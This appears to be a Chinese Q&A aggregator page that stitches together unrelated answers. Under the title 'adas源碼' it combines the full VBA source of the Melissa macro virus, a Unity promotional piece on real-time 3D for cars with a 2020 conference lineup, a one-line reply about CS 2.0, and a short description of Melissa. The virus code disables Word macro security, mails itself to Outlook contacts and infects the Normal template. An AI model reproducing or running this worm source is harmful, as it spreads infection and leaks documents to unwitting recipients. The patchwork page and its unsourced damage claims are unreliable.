adas源碼

Ⅵ 梅麗莎病毒源代碼

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeMole.CountOfLines
ADCL = ADI1.CodeMole.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeMole.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeMole.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeMole.Lines(1, 1) = ""
ADI1.CodeMole.DeleteLines 1
Loop
ToInfect.CodeMole.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeMole.Lines(BGN, 1) <> ""
ToInfect.CodeMole.InsertLines BGN, ADI1.CodeMole.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeMole.Lines(1, 1) = ""
NTI1.CodeMole.DeleteLines 1
Loop
ToInfect.CodeMole.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeMole.Lines(BGN, 1) <> ""
ToInfect.CodeMole.InsertLines BGN, NTI1.CodeMole.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then
Selection.TypeText " Twenty-two points,plus triple-word-score,plus fifty points for using all my letters.Game's over. I'm outta here."
End Su

Ⅶ 北京經緯恆潤工程咨詢事業部怎麼樣子啊

國內汽車市場競爭愈發激烈，「黑科技」逐漸成為各大汽車廠商吸引消費者的「利器」之一，隨著Z世代消費者崛起，「智能網聯汽車」伴隨著汽車和科技兩個產業的創新和融合，從概念走入現實。在產業和資本的不斷加碼下，汽車廠商在設計、製造、品牌創新和市場營銷等產品全生命周期中不斷嘗試各類新技術，實時3D技術便以其優異的交互性和高質量的實時渲染性，成為當下備受關注的「黑科技」之一。
根據全球領先的實時3D引擎Unity介紹，實時3D技術有望在多個領域為汽車工業帶來創新，成為賦能汽車工業全生命周期的「黑科技」。
1
汽車概念設計可視化
使用 Unity 製作的本田 e Urban EV 展示
（Urban EV是本田的零排量代步電動汽車）

通過虛擬渲染替換實物模型與原型，實時3D可幫助開發人員更早地發現潛在設計問題，不再需要測試多個耗費成本的迭代。此外，實時3D還可幫助設計師在短時間內即創作出可供互動演示的內容，幫助設計概念可視化，助力創作全面升級。
2
沉浸式設計體驗
Unity 賦能 XR沉浸式設計體驗

很多年前，就有車企開始嘗試使用先進的3D引擎，結合 AR/VR/MR 技術在設計階段進行評審。但工業設計評審軟體在多人協作和互動性上有一定的局限性，很難根據需求進行定製開發。而Unity實時3D引擎的強項恰恰是高度的可定製性及對跨平台設備的的強力支持。Unity能藉由AR/VR/MR技術將真實的泥模和虛擬體驗車做疊加，打通數據環節，實現沉浸式的設計體驗。
3
汽車 HMI （人機交互界面）
以較低成本製作更酷炫的汽車 HMI 體驗

實時3D技術同樣有望在汽車HMI領域發揮潛力，重新定義未來人們駕駛和乘坐汽車的車內體驗。在2020年的國際消費電子展（CES）上，Unity和業界HMI領先的汽車用戶體驗咨詢公司icon incar共同打造了基於恩智浦i.MX 8QuadMax應用處理器的HMI體驗。
在此項目中，icon incar設計了數字座艙內的用戶體驗UX和界面設計UI，並對人機交互體驗進行了編程，Unity則移植了3D引擎，並將游戲和VFX體驗集成到HMI系統。所有人機互動體驗使用觸屏和常規的游戲手柄就能實現，還可設置成聲控或者手勢控制。
icon incar和Unity共同對此項目進行了優化，確保在恩智浦晶元組上，各類HMI體驗都能順暢運行、發揮出色。
4
自動駕駛虛擬模擬測試
上海國際汽車城虛擬模擬測試平台，實時模擬天氣變化

實時3D技術在演算法訓練中也扮演著重要角色。通過在虛擬世界中模擬難以預料的突發情景，諸如車禍、極端天氣條件、倒在路上的樹木等等，實時3D技術可以讓無人駕駛交通工具在安全、低風險、低成本的條件下，進行演算法的學習及完善。上海國際汽車城近日就與Unity合作構建了面向自動駕駛的虛擬模擬測試平台，幫助車企在虛擬環境中進行自動駕駛測試及培訓。
5
沉浸式虛擬培訓
沉浸式虛擬培訓體驗

各類車企、汽車零部件廠商每年都會舉辦員工及經銷商培訓會議，這類會議往往需要五湖四海的人員趕赴指定培訓中心，由此耗費企業大量的時間、精力和成本。當下，已有不少車企開始使用實時3D可交互的線上培訓平台來進行培訓，受訓人員無須舟車勞頓，戴上XR設備、上線培訓平台，即可進入虛擬世界開始培訓，企業和員工的負擔都大大減輕。
6
品牌創新和市場營銷
真實與虛擬渲染的汽車真假難辨

為吸引消費者，不少汽車品牌已經藉助新技術實現遠程看車，虛擬試駕等應用，為消費者帶來互動感十足的購車和觀展體驗。此前，為了突出實時光線追蹤的效果，Unity和NVIDIA攜手BMW展出了2019年款BMW 8系轎跑車。在展示中，觀眾可看到一輛真實的汽車和一輛由Unity和NVIDIA實時渲染的汽車，兩者難辨真假。
更多精彩，盡在中國Unity線上技術大會
在汽車領域，實時3D技術正在以超乎想像的方式賦能各個環節。如欲了解更多全球排名前十汽車製造商在實時3D技術應用上的最新動態，以及他們共同的合作選擇Unity，不妨在即將正式開幕的中國Unity 線上技術大會一探究竟！
2020年11月16日-20日，由Unity舉辦的線上技術大會即將盛大開幕，這里不僅有Unity最前沿、最深入的核心技術分享，更有數字孿生、智能網聯汽車、數字城市、創新品牌營銷等多個領域的熱門案例。
在11月18日的智能網聯汽車主題專區中，沃爾沃汽車高工張曉辰、icon incar聯合創始人Florian Gulden、上海淞泓智能汽車科技有限公司研發主任工程師竇瑞、經緯恆潤汽車咨詢事業部創新板塊總監張大鵬、韓國 LG 電子公司美國研發中心首席工程師Steve Lemke將分享他們對 「智能網聯汽車」 和 「自動駕駛」 的思考，以及Unity實時3D技術賦能汽車設計、研發、製造、營銷環節的相關案例，干貨滿滿不容錯過。
智能網聯汽車專場
沃爾沃汽車如何聯手 Unity 探索上限
此次演講中，來自沃爾沃汽車的高級工程師張曉辰將為我們介紹沃爾沃使用Unity的契機、主要應用場景，及在Unity的具體使用中遭遇的挑戰和迸發的機遇。
張曉辰
沃爾沃汽車高級工程師
就職於沃爾沃汽車瑞典總部數年。從平凡的汽車交互系統工程師轉型為虛擬工程的開拓者（參數丨圖片）。致力於推進研發數字化和資源民主化，將愛好注入工作，用熱情自我驅動的碼農。

讓願景觸手可及：Unity 3D 汽車人機交互 UX 原型設計開發解決方案
設計汽車人機交互界面是當下最復雜和最變化多樣的設計挑戰之一。在集成大量復雜功能外，還涉及很多人力及部門。icon incar的聯合創始人將分享他在使用Unity對上述復雜體驗進行原型設計開發上的心得，以及應用Unity彌合產品設計和實際開發之間的相關差異。

Florian Gulden
icon incar 聯合創始人
Florian熱愛汽車，也熱愛移動出行，還熱愛游戲和電子競技。他是一個電子發燒友，在奧迪設計中心工作了多年後，2007年，他和來自iconmobile 的朋友們成立了icon incar。icon incar聚焦在數字用戶體驗設計咨詢和創新服務，做這項服務的初衷是因為對設計持續的研究與創新是設計師一生追求的宗旨。
智能網聯汽車城市級模擬平台建設及應用
在淞泓智能的分享中，竇瑞將基於國家智能網聯汽車試點示範區針對智能駕駛汽車研發與測試服務建設的城市級模擬平台工程實踐，從模擬的功能需求、場景建模、邏輯架構等方面介紹模擬測試的內涵與外延，並從示範區第三方平台的角度，提出針對自動駕駛模擬測試的思考。
竇瑞
上海淞泓智能汽車科技有限公司研發部主任工程師
竇瑞長期從事智能網聯汽車測試服務相關技術研發管理工作，負責國家智能網聯汽車（上海）試點示範區各類數據及業務平台的建設與應用，貼近行業一線，為政府監管和企業服務提供技術支撐。
從車輛模擬走向駕駛場景模擬
來自經緯恆潤的汽車咨詢事業部創新板塊總監張大鵬將圍繞「汽車創新」為我們帶來模擬技術領域的分享，作為當下車聯網競爭中的關卡要害，模擬技術從汽車開發到智能駕駛，為汽車廠商及企業解鎖了貫穿全生命周期的全新體驗。
張大鵬
經緯恆潤汽車咨詢事業部創新板塊總監

張大鵬，碩士畢業於清華大學汽車工程系，後就職於北京經緯恆潤科技有限公司，有著6年以上HIL系統開發、調試與測試經驗，豐富的項目管理經驗，豐富的車輛模型開發與應用經驗；熟悉底盤控制器、ADAS及智能駕駛HIL解決方案。
LGSVL Simulator: 一個高保真的自動駕駛模擬器
本次Steve的演講將會分享LG自動駕駛模擬技術是如何把車輛測試的成本降低到真實路測的十分之一甚至百分之一的。Steve還會同時分享，開發者們應如何藉助技術免除製造測試車的巨額投入，在低成本的條件下進行概念驗證。

Steve Lemke
韓國 LG 電子公司美國研發中心首席工程師
Steve曾在LG公司開源的自動駕駛和汽車平台項目擔任要職，負責LGSVL自動駕駛模擬器，WebOS Auto車載娛樂系統，webOS 開放源代碼版本和基於Linux的車載系統軟體AGL（ Automotive Grade Linux)等。他主導的項目曾連續在2018到2020年的國際消費電子展（CES）上的AGL展示案例上亮相。

Ⅷ CS2.0源代碼

Cs沒出2.0呀？樓主說的是不是cs:s或者cs:p？

Ⅸ 美麗殺手病毒簡介

這種病毒是專門針對微軟電子郵件伺服器MS Exchange和電子郵件收發軟體0ut1ookExpress的Word宏病毒，是一種拒絕服務的攻擊型病毒，能夠影響計算機運行微軟word97、word2000和0utlook。這種病毒是一種Word文檔附件，由E-mall攜帶傳播擴散。由於這種病毒能夠自我復制，一旦用戶打開這個附件，「美麗殺手」病毒就會使用0ut1ook按收件人的0ut1ook地址簿向前50名收件人自動復制發送，從而過載E-mai1伺服器或使之損壞。「美麗殺手」病毒的擴散速度之快可達幾何級數，據計算，如果「美麗殺手」病毒能夠按照理論上的速度傳播，只需要繁殖5次就可以讓全世界所有的網路用戶都都收到一份。「美麗殺手」病毒的最令人恐怖之處還不僅是拒絕電子郵件伺服器，而是使用戶的非常敏感和核心的機密信息在不經意間通過電子郵件的反復傳播和擴散而被泄漏出去，連擴散到了什麼地方可能都不得而知。據外電報道，在北約對南聯盟發動的戰爭行動中，證實「美麗殺手」病毒己使5萬部電腦主機和幾十萬部電腦陷於癱瘓而無法工作，網路被空數據包阻塞，迫使許多用戶關機避災。